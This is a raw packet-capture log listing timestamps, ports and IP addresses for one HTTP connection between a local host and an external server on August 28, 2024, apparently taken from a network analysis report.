Aug 28, 2024 22:55:06.653284073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653295994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653306961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653320074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653361082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653489113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653501034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653511047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653538942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653546095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653558969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653565884 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653587103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653599024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653681040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653692961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653703928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653716087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653718948 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653728962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653729916 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653774023 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653906107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653917074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653929949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.653954983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.653976917 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654139996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654151917 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654162884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654175043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654181957 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654186964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654189110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654203892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654206038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654218912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654231071 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654236078 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654244900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654263020 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654284954 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654457092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654546022 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654587984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654606104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654612064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654613972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654618025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654628992 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654644012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654647112 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654658079 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654659986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654674053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654685020 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654702902 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654723883 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.654922962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.654974937 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.714322090 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:06.720539093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.952409029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:06.952496052 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:07.139199972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:07.145879984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:07.374114990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:07.374207973 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:07.835005045 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:07.839817047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.055692911 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.055783033 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.402622938 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.407530069 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683290958 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683315039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683326960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683339119 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683351040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683362007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683371067 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683373928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683387041 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683392048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683429956 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683566093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683607101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683695078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683706045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683736086 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683813095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683825970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683836937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683849096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.683854103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683877945 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.683914900 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.768590927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.768626928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.768640041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.768657923 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.768661976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.768699884 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769172907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769186020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769198895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769212008 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769226074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769247055 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769727945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769769907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769784927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769797087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769809008 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.769820929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769834995 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.769865036 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770064116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770109892 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770118952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770155907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770200014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770210981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770250082 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770252943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770288944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770317078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770333052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770368099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770380974 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770406008 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770442009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770452976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770477057 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770500898 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770514965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770554066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770591021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770602942 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770627975 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770639896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770724058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770737886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770749092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770761967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770772934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770803928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770859003 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770870924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770911932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.770932913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770944118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.770976067 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.850617886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.850668907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.850677013 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.850689888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.850717068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.850739002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.850752115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.850764036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.850811005 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.851804018 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.851855040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.851866961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.851866961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.851891041 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.851900101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.851908922 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.851912975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.851957083 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.851994991 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852010965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852025032 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852036953 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852056980 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852076054 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852083921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852094889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852118969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852178097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852189064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852200031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852211952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852222919 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852250099 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852420092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852461100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852463007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852477074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852504969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852508068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852538109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852586031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852597952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852608919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.852621078 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852639914 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.852650881 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853106022 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853152990 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853183985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853202105 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853218079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853231907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853240967 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853271008 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853281021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853389978 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853583097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853594065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853601933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853636980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853657961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853657961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853688002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853691101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853705883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853718042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853729963 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853733063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853746891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853749990 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853756905 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853815079 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853836060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853847980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853923082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853924990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.853948116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.853966951 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854048014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854065895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854078054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854090929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854096889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854104042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854130030 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854157925 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854196072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854208946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854221106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854238033 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854238987 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854248047 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854253054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854271889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854288101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854332924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854345083 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854372978 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854394913 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854403973 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854417086 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854429007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854451895 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854474068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854509115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854518890 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854531050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854547977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854549885 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854569912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854588985 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854636908 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854659081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854671001 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.854697943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.854722977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932598114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932627916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932640076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932651043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932666063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932677031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932678938 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932693958 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932730913 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932734013 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932746887 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932776928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932779074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932789087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932813883 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932828903 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932847977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932863951 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932898045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932905912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932909012 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.932935953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.932960987 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933778048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933804989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933816910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933831930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933845043 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933861971 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933900118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933914900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933927059 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.933944941 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933954000 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.933970928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934011936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934031963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934042931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934056997 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934087038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934103966 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934129953 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934144020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934155941 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934171915 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934191942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934199095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934254885 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934267998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934279919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934292078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934298992 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934315920 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934344053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934406042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934418917 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934454918 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934469938 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934511900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934525013 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934535980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:08.934572935 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934595108 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:08.934629917 CEST	80	49702	46.8.231.109	192.168.2.7
